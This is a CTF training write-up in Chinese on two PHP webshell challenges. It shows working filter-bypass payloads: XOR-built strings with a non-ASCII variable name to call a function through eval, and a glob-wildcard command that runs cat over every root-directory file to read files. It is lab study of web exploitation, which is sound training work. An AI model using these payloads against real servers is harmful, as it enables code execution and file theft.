SKSEC 2019 Summer Training 总结文档

此文档持续更新中。

yi_ge_webshell

考点:构造不含字母、数字和下划线的WebShell,字符串的异或操作

代码如下:

50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

根据hint,是要让我们执行getFlag()函数,也就是自己构造出来提交上去,用@eval()执行。

一开始以为是要绕过preg_match函数的匹配,但是试了几种常用的方法发现都没有用(构造数组发现不执行,用最大回溯爆掉又会受到strlen的长度限制而爆不掉)。

后来想了想,这个题应该是要通过构造不含字母和数字的payload来绕过preg_match的匹配,因为以前看到过类似的操作。

在bing上搜了一下发现果然有构造不含字母和数字的webshell的方法,这种方法的核心就是字符串的异或

参考文档:

https://xz.aliyun.com/t/3085

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

比如,以下这条PHP语句的执行结果为getFlag

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");

也可以写成这样,执行结果相同:

echo "@@^|@@@" ^ "'%*:,!'";

写个脚本爆破掉字符的异或,一个一个试实在是太累了:

chr1 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

根据爆破的结果拼出刚才提到的异或字符串,也就是"@@^|@@@" ^ "'%*:,!'"

这里有一个问题,过滤了字母、数字和下划线之后怎么起变量名?忽然想到Java可以用汉字作为变量名(因为Java采用的是Unicode字符集,所以用中文作为变量名不会出错),那PHP说不定也可以,于是在本地试了一下发现居然没报错。

构造Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

成功得到flag。

另:那三篇文章的方法是构造_GET或者_POST再利用${}@eval()执行之后往里传参,个人感觉没有这种直接构造字符串然后执行的方法简单。

另2:针对这道题写了篇总结,发在公众号里了:链接在这

ling_yi_ge_webshell

考察使用通配符绕过过滤

把上次那个爆破的脚本改了一下(发现上次没加“@”):

chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

这次的代码过滤了$和_,也就是说没办法用$了,需要其他办法执行。

虽然拼出了“system('cat /flag.php')”,但是提示太长了,而且怎么执行也是个问题。

在一个大佬的帮助下找到了正确的做法:通配符。

详细可以参考这两篇文章:

https://www.anquanke.com/post/id/160582?from=singlemessage#h2-2

https://cloud.tencent.com/developer/article/1164601

根据Linux通配符规则,问号“?”匹配任意单个字符,于是/???/??? 可以匹配到 /bin/cat

既然过滤了所有字母和数字,flag又在根目录下,所以可以用/*匹配到根目录下所有文件。

于是,连起来就是/???/??? /*

而要让代码执行,必须要放进PHP标记里。结合第一篇参考文章,可以构造出以下的payload:?code=?>/???/??? /*?>

执行后会得到一大堆乱七八糟的东西(因为这是把根目录下的东西全都读出来了),搜索SKCTF或者是flag就可以找到flag。

你可能感兴趣的:(SKSEC 2019 Summer Training 总结文档)